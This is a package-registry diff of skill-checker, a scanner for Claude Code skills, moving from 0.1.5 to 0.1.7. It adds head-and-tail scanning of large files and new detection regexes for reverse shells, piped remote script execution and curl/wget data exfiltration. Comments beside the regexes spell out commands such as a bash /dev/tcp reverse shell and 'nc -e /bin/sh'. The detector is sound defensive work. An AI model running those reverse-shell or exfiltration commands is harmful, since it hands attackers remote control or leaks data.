skill-checker 0.1.5 → 0.1.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -4,7 +4,7 @@ Security checker for Claude Code skills — detect injection, malicious code, an
4
4
 
5
5
  ## Features
6
6
 
7
- - **53 security rules** across 6 categories: structural validity, content quality, injection detection, code safety, supply chain, and resource abuse
7
+ - **55 security rules** across 6 categories: structural validity, content quality, injection detection, code safety, supply chain, and resource abuse
8
8
  - **Scoring system**: Grade A–F with 0–100 score
9
9
  - **Dual entry**: CLI tool + PreToolUse hook for automatic interception
10
10
  - **Configurable policies**: strict / balanced / permissive approval strategies
@@ -14,7 +14,7 @@ Security checker for Claude Code skills — detect injection, malicious code, an
14
14
 
15
15
  ## Security Standard & Benchmark
16
16
 
17
- Skill Checker's 53 rules are aligned with established security frameworks including OWASP Top 10 for LLM Applications (2025), MITRE CWE, and MITRE ATT&CK. The tool ships with a reproducible benchmark dataset of six fixture skills covering all rule categories. This alignment is an internal mapping exercise — Skill Checker does not claim third-party certification or external audit status.
17
+ Skill Checker's 55 rules are aligned with established security frameworks including OWASP Top 10 for LLM Applications (2025), MITRE CWE, and MITRE ATT&CK. The tool ships with a reproducible benchmark dataset of six fixture skills covering all rule categories. This alignment is an internal mapping exercise — Skill Checker does not claim third-party certification or external audit status.
18
18
 
19
19
  See [docs/SECURITY_BENCHMARK.md](docs/SECURITY_BENCHMARK.md) for the full rule mapping matrix, benchmark methodology, scoring model, and known limitations.
20
20
 
@@ -98,6 +98,28 @@ The hook is fail-closed — if the scanner is unavailable, JSON parsing fails, o
98
98
  - `jq` must be installed for JSON parsing
99
99
  - `skill-checker` must be globally installed or available via `npx`
100
100
 
101
+ ## Dependency Security Maintenance
102
+
103
+ Latest dependency audit follow-up (2026-03-07):
104
+
105
+ - Production dependency risk remains unaffected (`npm audit --omit=dev`: **0 vulnerabilities**).
106
+ - Current `npm audit` still reports **5 moderate** findings in dev tooling chain (`vitest` → `vite` → `esbuild`).
107
+ - Upgrade to `vitest@4.0.18` is **temporarily deferred** because it requires Node `^20 || ^22 || >=24`, while this project currently supports Node `>=18`.
108
+ - Scope of impact is limited to development/test tooling and does not affect runtime package dependencies.
109
+ - Auditable risk acceptance record: [docs/RISK_ACCEPTANCE_DEVDEPS.md](docs/RISK_ACCEPTANCE_DEVDEPS.md).
110
+
111
+ Verification commands used in this review cycle:
112
+
113
+ ```bash
114
+ npm run lint
115
+ npm test
116
+ npm run build
117
+ npm audit --omit=dev
118
+ npm audit
119
+ ```
120
+
121
+ Next review date: **2026-04-04**.
122
+
101
123
  ## Scoring
102
124
 
103
125
  Base score starts at **100**. Each finding deducts points by severity:
@@ -153,7 +175,7 @@ Config is resolved in order: CLI `--config` flag → project directory (walks up
153
175
  | Structural (STRUCT) | 8 | Missing SKILL.md, invalid frontmatter, binary files |
154
176
  | Content (CONT) | 7 | Placeholder text, lorem ipsum, promotional content |
155
177
  | Injection (INJ) | 9 | Zero-width chars, prompt override, tag injection, encoded payloads |
156
- | Code Safety (CODE) | 13 | eval/exec, shell execution, API key leakage, rm -rf, obfuscation |
178
+ | Code Safety (CODE) | 15 | eval/exec, shell execution, reverse shell, data exfiltration, API key leakage, rm -rf, obfuscation |
157
179
  | Supply Chain (SUPPLY) | 10 | Unknown MCP servers, suspicious domains, malicious hashes, typosquat |
158
180
  | Resource Abuse (RES) | 6 | Unrestricted tool access, disable safety checks, ignore project rules |
159
181
 
package/dist/cli.js CHANGED
@@ -150,14 +150,23 @@ function enumerateFiles(dirPath, warnings) {
150
150
  content = readFileSync(fullPath, "utf-8");
151
151
  } catch {
152
152
  }
153
- } else if (lstats.size <= 5e7) {
153
+ } else {
154
154
  let fd;
155
155
  try {
156
156
  fd = openSync(fullPath, "r");
157
- const buf = Buffer.alloc(PARTIAL_READ_LIMIT);
158
- const bytesRead = readSync(fd, buf, 0, PARTIAL_READ_LIMIT, 0);
159
- content = buf.slice(0, bytesRead).toString("utf-8");
160
- warnings.push(`Large file partially scanned (first ${PARTIAL_READ_LIMIT} bytes): ${relativePath} (${lstats.size} bytes total)`);
157
+ const headBuf = Buffer.alloc(PARTIAL_READ_LIMIT);
158
+ const headBytesRead = readSync(fd, headBuf, 0, PARTIAL_READ_LIMIT, 0);
159
+ const headContent = headBuf.slice(0, headBytesRead).toString("utf-8");
160
+ const tailOffset = Math.max(0, lstats.size - PARTIAL_READ_LIMIT);
161
+ const tailBuf = Buffer.alloc(PARTIAL_READ_LIMIT);
162
+ const tailBytesRead = readSync(fd, tailBuf, 0, PARTIAL_READ_LIMIT, tailOffset);
163
+ const tailContent = tailBuf.slice(0, tailBytesRead).toString("utf-8");
164
+ content = tailOffset > 0 ? `${headContent}
165
+ /* ... window gap ... */
166
+ ${tailContent}` : headContent;
167
+ warnings.push(
168
+ `Large file window-scanned (head+tail ${PARTIAL_READ_LIMIT} bytes each): ${relativePath} (${lstats.size} bytes total)`
169
+ );
161
170
  } catch {
162
171
  warnings.push(`Large file could not be read: ${relativePath} (${lstats.size} bytes)`);
163
172
  } finally {
@@ -168,8 +177,6 @@ function enumerateFiles(dirPath, warnings) {
168
177
  }
169
178
  }
170
179
  }
171
- } else {
172
- warnings.push(`File too large to scan: ${relativePath} (${lstats.size} bytes). Content not checked.`);
173
180
  }
174
181
  }
175
182
  files.push({
@@ -1077,6 +1084,28 @@ var ENV_ACCESS_PATTERNS = [
1077
1084
  /\bgetenv\s*\(/,
1078
1085
  /\$\{?\w*(?:KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|API_KEY)\w*\}?/i
1079
1086
  ];
1087
+ var REVERSE_SHELL_PATTERNS = [
1088
+ /\/dev\/tcp\/[\w.-]+\/\d+/,
1089
+ // bash -i >& /dev/tcp/host/port 0>&1
1090
+ /\bnc(?:at)?\b[^\n]*\s-(?:e|c)\s+/,
1091
+ // nc -e /bin/sh host port
1092
+ /\bncat\b[^\n]*\s--exec\b/,
1093
+ // ncat --exec /bin/sh host port
1094
+ /\bsocket\.socket\s*\([^)]*\)[\s\S]*\.(?:connect|connect_ex)\s*\([^)]*\)[\s\S]*os\.dup2\s*\([^)]*\)[\s\S]*(?:subprocess\.(?:call|run|Popen)|os\.system)\s*\(/,
1095
+ /\bphp\b[^\n]*\bfsockopen\s*\([^)]*\)[\s\S]*\b(?:exec|shell_exec|system|passthru)\s*\(/,
1096
+ /\bperl\b[^\n]*\bSocket\b[\s\S]*\bconnect\s*\([^)]*\)[\s\S]*\bexec\s*\(/
1097
+ ];
1098
+ var REMOTE_PIPELINE_EXEC_PATTERNS = [
1099
+ /\bcurl\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:sh|bash|zsh|ksh|ash)\b/i,
1100
+ /\bwget\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:sh|bash|zsh|ksh|ash)\b/i,
1101
+ /\bcurl\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:python|python3|node)\b/i,
1102
+ /\bwget\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:python|python3|node)\b/i
1103
+ ];
1104
+ var DATA_EXFIL_PATTERNS = [
1105
+ /\bcurl\b[^\n]*(?:-d|--data|--data-binary|--data-raw)\s+@(?:[^\s'"`]+|["'`][^"'`]+["'`])/i,
1106
+ /\bcurl\b[^\n]*(?:-F|--form)\s+[^\s=]+=@(?:[^\s'"`]+|["'`][^"'`]+["'`])/i,
1107
+ /\bwget\b[^\n]*--post-file(?:=|\s+)(?:[^\s'"`]+|["'`][^"'`]+["'`])/i
1108
+ ];
1080
1109
  var DYNAMIC_CODE_PATTERNS = [
1081
1110
  /\bcompile\s*\(/,
1082
1111
  /\bcodegen\b/i,
@@ -1207,6 +1236,27 @@ var codeSafetyChecks = {
1207
1236
  source,
1208
1237
  codeBlockCtx: cbCtx
1209
1238
  });
1239
+ checkPatterns(results, line, REVERSE_SHELL_PATTERNS, {
1240
+ id: "CODE-014",
1241
+ severity: "CRITICAL",
1242
+ title: "Reverse shell pattern",
1243
+ loc,
1244
+ lineNum,
1245
+ source
1246
+ });
1247
+ const code015 = detectCode015(line);
1248
+ if (code015) {
1249
+ results.push({
1250
+ id: "CODE-015",
1251
+ category: "CODE",
1252
+ severity: code015.severity,
1253
+ title: code015.title,
1254
+ message: `At ${loc}: ${line.trim().slice(0, 120)}`,
1255
+ line: lineNum,
1256
+ snippet: line.trim().slice(0, 120),
1257
+ source
1258
+ });
1259
+ }
1210
1260
  const credentialLeak = detectCredentialLeak(line);
1211
1261
  if (credentialLeak) {
1212
1262
  results.push({
@@ -1275,6 +1325,21 @@ function checkPatterns(results, line, patterns, opts) {
1275
1325
  }
1276
1326
  }
1277
1327
  }
1328
+ function detectCode015(line) {
1329
+ if (REMOTE_PIPELINE_EXEC_PATTERNS.some((pattern) => pattern.test(line))) {
1330
+ return {
1331
+ severity: "CRITICAL",
1332
+ title: "Remote pipeline execution pattern"
1333
+ };
1334
+ }
1335
+ if (DATA_EXFIL_PATTERNS.some((pattern) => pattern.test(line))) {
1336
+ return {
1337
+ severity: "HIGH",
1338
+ title: "Data exfiltration pattern"
1339
+ };
1340
+ }
1341
+ return null;
1342
+ }
1278
1343
  function detectCredentialLeak(line) {
1279
1344
  for (const provider of PROVIDER_CREDENTIAL_PATTERNS) {
1280
1345
  if (provider.pattern.test(line)) {